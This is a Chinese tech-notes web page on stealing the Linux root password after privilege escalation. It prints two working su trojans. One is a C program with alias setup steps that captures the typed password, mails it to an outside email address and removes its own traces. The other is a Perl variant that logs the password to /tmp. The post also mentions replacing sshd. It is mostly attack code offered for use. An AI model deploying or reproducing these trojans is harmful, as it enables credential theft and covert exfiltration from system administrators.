热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

提权后获取linuxroot密码的2种方法

在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后,如果能获取root密码能给我们带来很多的好处。查询了一下前辈的方法,一个是欺骗su记录密码,另外一个是替换sshd,我们先看看欺骗su记录密码的代码吧!先看第一种,kpr-fakesu.c

在webbackdoor本身是root(可能性小的可怜)或通过某漏洞溢出成功得到最高权限后,如果能获取root密码能给我们带来很多的好处。查询了一下前辈的方法,一个是欺骗su记录密码,另外一个是替换sshd,我们先看看欺骗su记录密码的代码吧!

先看第一种,kpr-fakesu.c V0.9beta167
fucksu.c

/*
 * kpr-fakesu.c V0.9beta167 ;P
 * by koper
 *
 * Setting up:
 * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
 * admin@host:~$ mv .su /var/tmp/.su
 * admin@host:~$ cp .bash_profile .wgetrc
 * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
 * admin@host:~$ logout
 * *** LOGIN ***
 * admin@host:~$ su
 * Password:
 * su: Authentication failure
 * Sorry.
 * admin@host:~$ su
 * Password:
 * root@host:~# logout
 * admin@host:~$ cat /var/tmp/.pwds
 * root:dupcia17
 * admin@host:~$
 *
 * /bin/su sends various failure information depending on the OS ver.
 * Please modify the source to make it "fit" ;)
 *
 */

#include
#include

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
   if(strcmp(argv[1], "-l")==0)
     user=argv[2];
   else user=argv[1];}

fprintf(stdout,"Password: "); pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\nSorry.\n");

if ((fp=fopen(filex,"w")) != NULL)
  {
  fprintf(fp, "%s:%s\n", user, pass);
  fclose(fp);
  }

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

/* If you don't want password in your e-mail uncomment this line: */

system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail kalikosta@hotmail.com");

}
 

perl版本

perl版本:


#!/usr/bin/perl

####################################################################################################
# kyle@freeshell.se 2006 su trojan check so the su path is correct.                                 #
# then make alias for trojan first it reads the pass then exec the real su.                       #
# logging to /tmp/.pass                                                                         #            
####################################################################################################


print "Password: "; $s1=;
print "Sorry.\n";
$s2="Password is: ";
$s3=`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ("Could not open file. $!");
print users ($s2, $s1,$s3);
close (users);

system("/bin/su")

另一种方法,替换sshd

点击下载

 


推荐阅读
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 树莓派Linux基础(一):查看文件系统的命令行操作
    本文介绍了在树莓派上通过SSH服务使用命令行查看文件系统的操作,包括cd命令用于变更目录、pwd命令用于显示当前目录位置、ls命令用于显示文件和目录列表。详细讲解了这些命令的使用方法和注意事项。 ... [详细]
  • Python语法上的区别及注意事项
    本文介绍了Python2x和Python3x在语法上的区别,包括print语句的变化、除法运算结果的不同、raw_input函数的替代、class写法的变化等。同时还介绍了Python脚本的解释程序的指定方法,以及在不同版本的Python中如何执行脚本。对于想要学习Python的人来说,本文提供了一些注意事项和技巧。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • 本文介绍了Perl的测试框架Test::Base,它是一个数据驱动的测试框架,可以自动进行单元测试,省去手工编写测试程序的麻烦。与Test::More完全兼容,使用方法简单。以plural函数为例,展示了Test::Base的使用方法。 ... [详细]
  • 本文介绍了Linux系统中正则表达式的基础知识,包括正则表达式的简介、字符分类、普通字符和元字符的区别,以及在学习过程中需要注意的事项。同时提醒读者要注意正则表达式与通配符的区别,并给出了使用正则表达式时的一些建议。本文适合初学者了解Linux系统中的正则表达式,并提供了学习的参考资料。 ... [详细]
  • Ubuntu 9.04中安装谷歌Chromium浏览器及使用体验[图文]
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 本文介绍了Linux Shell中括号和整数扩展的使用方法,包括命令组、命令替换、初始化数组以及算术表达式和逻辑判断的相关内容。括号中的命令将会在新开的子shell中顺序执行,括号中的变量不能被脚本余下的部分使用。命令替换可以用于将命令的标准输出作为另一个命令的输入。括号中的运算符和表达式符合C语言运算规则,可以用在整数扩展中进行算术计算和逻辑判断。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
  • 树莓派语音控制的配置方法和步骤
    本文介绍了在树莓派上实现语音控制的配置方法和步骤。首先感谢博主Eoman的帮助,文章参考了他的内容。树莓派的配置需要通过sudo raspi-config进行,然后使用Eoman的控制方法,即安装wiringPi库并编写控制引脚的脚本。具体的安装步骤和脚本编写方法在文章中详细介绍。 ... [详细]
  • 欢乐的票圈重构之旅——RecyclerView的头尾布局增加
    项目重构的Git地址:https:github.comrazerdpFriendCircletreemain-dev项目同步更新的文集:http:www.jianshu.comno ... [详细]
author-avatar
道士也调情
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有